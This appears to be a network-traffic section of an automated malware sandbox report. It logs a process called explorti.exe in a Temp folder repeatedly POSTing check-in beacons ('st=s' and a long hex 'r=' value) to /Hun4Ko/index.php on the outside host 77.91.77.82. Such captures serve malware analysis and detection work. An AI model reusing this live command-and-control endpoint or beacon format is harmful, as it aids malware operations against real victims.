Jun 28, 2024 22:32:30.149833918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49751	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:30.270114899 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:30.961483955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:30.962296963 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:31.201783895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49752	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:31.318573952 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:32.019818068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:32.020646095 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:32.241277933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49753	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:32.347822905 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:33.202104092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:33.202780962 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:33.432221889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49754	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:33.554738045 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:34.260020971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:34.260884047 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:34.485965014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49755	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:34.602277040 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:35.314397097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:35.315171003 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:35.537945986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49756	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:35.644715071 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:36.361618042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:36.362310886 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:36.587130070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49757	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:36.707278013 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:37.408818007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:37.409533024 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:37.627258062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49758	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:37.738934040 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:38.439055920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:38.439758062 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:38.660778999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49759	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:38.769961119 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:39.541553974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:39.542577028 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:39.769701958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49760	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:39.881138086 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:40.612277031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:40.612982988 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:40.837275028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49761	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:40.958045959 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:41.649882078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:41.650515079 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:41.872967958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49762	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:41.989027977 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:42.685095072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:32:42.685867071 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:32:42.906316042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49763	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:32:43.020342112 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:32:43.749119043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:32:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
